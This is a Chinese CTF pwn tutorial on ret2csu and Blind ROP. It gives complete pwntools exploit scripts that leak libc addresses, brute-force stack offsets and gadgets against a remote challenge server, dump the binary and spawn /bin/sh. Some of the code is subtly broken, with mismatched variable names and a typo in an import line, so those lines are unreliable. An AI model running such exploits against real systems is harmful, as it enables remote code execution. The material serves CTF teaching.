ret2csu是使用一些更为巧妙的gadgets
64位程序中,函数前6个参数是通过寄存器来传递的,但在Linux_x64系统中很难找到pop rdi,pop rsi,pop rdx这样的gadgets(我们现在大多用的是x86_64的系统,使用ROPgadget是可以找到一些满足条件的gadgets的),这时我们就可以用__libc_csu_init函数中的gadgets。
__libc_csu_init是libc程序用来初始化的函数,一般的程序都会加载的libc库,所以这个函数一般是存在的,我们来看一下这个函数中我们要利用的部分
.text:00000000004011D0 loc_4011D0: ; CODE XREF: __libc_csu_init+54↓j
.text:00000000004011D0 mov rdx, r14
.text:00000000004011D3 mov rsi, r13
.text:00000000004011D6 mov edi, r12d
.text:00000000004011D9 call qword ptr [r15+rbx*8]
.text:00000000004011DD add rbx, 1
.text:00000000004011E1 cmp rbp, rbx
.text:00000000004011E4 jnz short loc_4011D0
.text:00000000004011E6
.text:00000000004011E6 loc_4011E6: ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004011E6 add rsp, 8
.text:00000000004011EA pop rbx
.text:00000000004011EB pop rbp
.text:00000000004011EC pop r12
.text:00000000004011EE pop r13
.text:00000000004011F0 pop r14
.text:00000000004011F2 pop r15
.text:00000000004011F4 retn
利用点:
4011ea地址开始有一连串的pop [寄存器],4011d0~4011d6地址的3个mov将r12,r13,r14寄存器的值分别放入了edi,rsi,rdx,也就是存放第1、2、3个参数的寄存器,call [r15+rbx*8]想使其为call [r15],r15就可以是存放着我们想调用的函数地址的地址,那么rbx就设为0,后面有要使rbx+1=rbp时,程序才可以继续向下运行
C源码
#include
#include
#include
void vulnerable_function() {
char buf[128];
read(0, buf, 512);
}
int main(int argc, char** argv) {
write(1, "Hello, World\n", 13);
vulnerable_function();
}
编译
gcc -fno-stack-protector -no-pie csu2ret.c -o csu2ret
这里我在虚拟机中进行编译时,总会出现endbr64的保护机制,但是在wsl(Windows下的Linux子系统)下编译是没这个问题的,因为本人没有wsl,所以这里我的程序是请其他人编译的
解题
思路:需要多次利用__libc_csu_init函数里的gadgets
第1次利用:通过泄露write_got得到write_addr真实地址
第2次利用:用得到的write_addr地址获取到libc库中的exece函数地址后(这里使用system时无法成功得到shell),将exece地址与/bin/sh写入bss段
第3次利用:读取调用bss段的exece地址与/bin/sh
exp.py
from pwn import *
from LibcSearcher import *
#context(log_level='debug')
p=process('./csu2ret')
elf=ELF('./csu2ret')
write_got=elf.got['write']
read_got=elf.got['read']
main_addr=elf.symbols['main']
bss=elf.bss() #获取bss段始地址
csu_mov_addr=0x00000000004011d0
csu_pop_addr=0x00000000004011ea
#gdb.attach(p)
def csu(rbx,rbp,r12,r13,r14,r15,retn):
pload='a'*0x80+'b'*8 #vuln函数的buf填充
#返回地址+6个要pop到6个寄存器的值
pload+=p64(csu_pop_addr)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
#pop后将r12,r13,r14的值传给rdi,rsi,rdx,并call [r15],向下运行
pload+=p64(csu_mov_addr)
#满足rbx+1=rbp时,向下运行到retn前有7次rsp的变化,填充7*8=0x38个a
pload+='a'*0x38
pload+=p64(retn) #返回地址
p.send(pload)
p.recvuntil('Hello, World\n')
#rbx=0;rbp=1
#r12=edi=rdi=1
#r13=rsi=write_got
#r14=rdx=8
#r15=write_got --> [r15]=[write_got]=write_addr
csu(0,1,1,write_got,8,write_got,main_addr)
write_addr=u64(p.recv(8)) #write写出了8个字节,这里直接接收8个字节即可
print(hex(write_addr))
###本地调试时,使用ldd查看程序文件加载的libc库
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base=write_addr-libc.sym['write']
system_addr=libc_base+libc.sym['execve']
###使用LibcSeacher时跳出多个版本,如果版本选不对,最后exece_addr得到的地址对应的函数就不一定是exece函数了
#libc=LibcSearcher('write',write_addr)
#libc_base=write_addr-libc.dump('write')
#exece_addr=libc_base+libc.dump('exece')
log.success('sexece_addr: '+hex(exeve_addr))
#gdb.attach(p)
p.recvuntil('Hello, World\n')
#read(0,bss地址,16)
csu(0,1,0,bss,16,read_got,main_addr)
p.send(p64(exeve_addr)+'/bin/sh\x00')#写满16个字节
p.recvuntil('Hello, World\n')
#只有一个参数,所以存放第2,3个参数的寄存器值随意
csu(0,1,bss+8,0,0,bss,main_addr)
p.interactive()
稍微需要注意的一点为什么我们调用的是write_got函数而不是write_plt函数,因为在__libc_csu_init函数里是 call [r15] ,所以调用的是r15的值(也是个地址)指向的那个地址的函数
假设exece的地址是0x111111
r15=0x123456 0x123456地址下存放着地址0x111111 那么[r15]=0x111111-->exece函数
定义
这种题型一般是在题目没有给出程序文件的时候,我们对程序一无所知,对程序是否栈溢出、栈溢出长度、gadget地址,源函数地址等只能进行爆破得到
攻击条件:
BROP绕过ASLR、NX、Canary保护
步骤
axb_2019_brop64
该题有附件,但我们还是用此法来学习试解
题解
先访问程序IP地址查看输入输出提示位置
1、爆破栈溢出长度
from pwn import *
from LibcSearcher import LibcSearcher
def get_length():
i=1
while 1:
try:
p=remote('node4.buuoj.cn',111)
p.recvuntil("Please tell me:") #到Please tell me:后开始接受数据
p.send(i*'a') #传多个a爆破
output=p.recv() #传多个a后接收到的所有回显数据存到output
#print(output[-5:-1])
print(i)
p.close()
#程序正常最后会回显Goodbye!,程序崩溃则不回显
if not output[-5:-1]=='bye!': #不回显说明a已覆盖返回地址,得到长度length
print("length=",i-1)
break
return i-1
else: #程序正常,i+1
#print(output)
#print(i)
i += 1
except EOFError:
p.close()
return i-1
get_length()
length=216
不同题目在判断程序是否崩溃的地方都会略有不同,可以通过打印出output接受的数据,经观察后进行修改即可。这题不大方便之处就在于它总是有Rpeater的返回值,判断output头部内容是无法判断程序是否崩溃的
2、获取stop地址,即main函数或漏洞函数的地址
在没有开PIE保护的情况下,64位程序起始地址为0x400000
def get_stop(length):
addr=0x400000
while 1:
try:
p=remote('node4.buuoj.cn',111)
p.recvuntil("Please tell me:")
pload='a'*length+p64(addr) #addr作为返回地址
p.sendline(pload)
a=p.recv()
print(a)
if not a[length+12:length+17]=="Hello": 如果程序没有返回main函数开头,即没有回显Hello,那么addr+1继续爆破
p.close()
addr+=1
print(hex(addr))
else: #如果返回则成功
print('one success addr: 0x%x '%(addr))
#continue
return addr
except Exception:
print(hex(addr))
addr+=1
p.close()
get_stop(length)
这里到底是在什么地方取到程序回显的开头可以进行长度测试,可以看一看下图打印的接收到的数据
3、获取brop,gadget地址
我们要找的这个连着6个的gadget的地址一般就存在于__libc_csu_init函数里,根据ida查看经验这个函数是排在main函数后面的,但如果不确定的也可以从0x400000开始扫
stop=0x4007d6
addr=0x400800
def get_brop(length,stop,addr):
try:
p=remote('node4.buuoj.cn',111)
p.recvuntil("Please tell me:")
pload='a'*length+p64(addr)+p64(0)*6+p64(stop)
p.send(pload)
a=p.recv()
p.close()
print(a)
#print(a[-3:-1])
#程序没有返回stop地址
if not a[-3:-1]=="me":
return False
#程序正常返回stop地址运行,则6个pop对上了
return True
except Exception:
p.close()
return True
#检测
def check(length,addr):
try:
p=remote('node4.buuoj.cn',111)
p.recvuntil("Please tell me:")
pload='a'*length+p64(addr)+p64(0)*7 #最后的返回地址是0时
p.send(pload)
a=p.recv()
print(a)
p.close()
#程序除Rpeater外没有其他回显
if (a[-7:-6]=='a' or a[-3:-1]=='er'):
return True
#有其他回显
return False
except Exception:
p.close()
return True
while 1:
print(hex(addr))
if get_brop(length,stop,addr):
print('possible brop: 0x%x'%addr)
if check(length,addr):
print('success brop: 0x%x'%addr)
break
addr+=1
4、获取put_plt地址
先看一下__libc_csu_init中的那些gadgets,通过一些偏移我们可以控制部分寄存器
gef➤ x/5i 0x000000000040061A
0x40061a <__libc_csu_init+90>: pop rbx
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
gef➤ x/5i 0x000000000040061b
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
gef➤ x/5i 0x000000000040061A+3
0x40061d <__libc_csu_init+93>: pop rsp
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
gef➤ x/5i 0x000000000040061e
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x000000000040061f
0x40061f <__libc_csu_init+95>: pop rbp
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x0000000000400620
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
gef➤ x/5i 0x0000000000400621
0x400621 <__libc_csu_init+97>: pop rsi
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x000000000040061A+9
0x400623 <__libc_csu_init+99>: pop rdi
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
0x400630 <__libc_csu_fini>: repz ret
其中,pop_rdi_ret = brop + 9
在没有 PIE 保护的时候,64 位程序的 ELF 文件的 0x400000 处有 7 个非零字节:"\x7fELF"
brop=0x40095a
pop_rdi_ret=brop+9 #brop地址加上9可以控制寄存器rdi
def get_puts():
addr=0x400600 不清楚puts_plt大致范围也可以从0x400000开始扫
while 1:
print(hex(addr))
try:
p=remote('node4.buuoj.cn',111)
p.recvuntil("Please tell me:")
#让第一个参数rdi指向0x400000的地方
pload='a'*length+p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop)
p.send(pload)
a=p.recv()
print(a[length+12:length+16])
p.close()
#若能打印出0x400000地址处的字符串,则找到puts_plt
if a[length+12:length+16]=="\x7fELF":
print('puts_plt addr= 0x%x '%addr)
return addr
addr+=1
except Exception:
p.close()
addr+=1
get_puts()
5、获取put_got
这里我们需要将程序的至少包含plt的部分dump出来,选择0x400000~0x401000范围,足够包含plt
puts_plt=0x400640
leak_addr=0x400000
def leak(length,pop_rdi_ret,leak_addr,puts_plt,stop):
p=remote('node4.buuoj.cn',111)
p.recvuntil("Please tell me:")
pload='a'*length+p64(pop_rdi_ret)+p64(leak_addr)+p64(puts_plt)+p64(stop)
p.send(pload)
try:
data=p.recv()
p.close()
try:
#我们需要的数据(leak_addr处的内容)在Rpeater和Hello回显之间
data=data[length+12:data.index('\nHello')]
except Exception: #即使出现异常也要从Rpeater后开始取数据
data=data[length+12:]
print(data)
if data=="":
data = '\x00'
p.close()
return data
except Exception:
p.close()
return None
res=""
while leak_addr < 0x401000:
print(hex(leak_addr))
data = leak(length,pop_rdi_ret,leak_addr,puts_plt,stop)
if data is None:
continue
else:
res+=data #将所有data写入res
leak_addr+=len(data) #leak地址增加data的长度(每地址+1,存放一个字节)
with open('./code','wb') as f: #res以二进制形式写入文件code
f.write(res)
然后将code文件以Binary File形式用IDA打开,edit->segments->rebase program 将程序的基地址改为 0x400000,然后找到puts_plt偏移 0x635 处,按c转为代码
可以看到puts_got为0x601018
之后就可以用ret2libc写exp即可
exp
rom pwn import *
from LibcSearcher import LibcSearcher
length=216
stop=0x4007d6
brop=0x40095a
pop_rdi_ret=brop+9
puts_plt=0x400640
puts_got=0x601018
p=remote('node4.buuoj.cn',111)
p.recvuntil('Please tell me:')
pload='a'*length
pload+=p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(stop)
p.sendline(pload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
binsh_addr=libc_base+libc.dump('str_bin_sh')
p.recvuntil('Please tell me:')
pload='a'*length
pload+=p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)+p64(stop)
p.sendline(pload)
p.interactive()
BROP绕过ASLR、NX、Canary保护会在后面进行学习
参考链接:
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/
https://blog.csdn.net/qq_41988448/article/details/103491550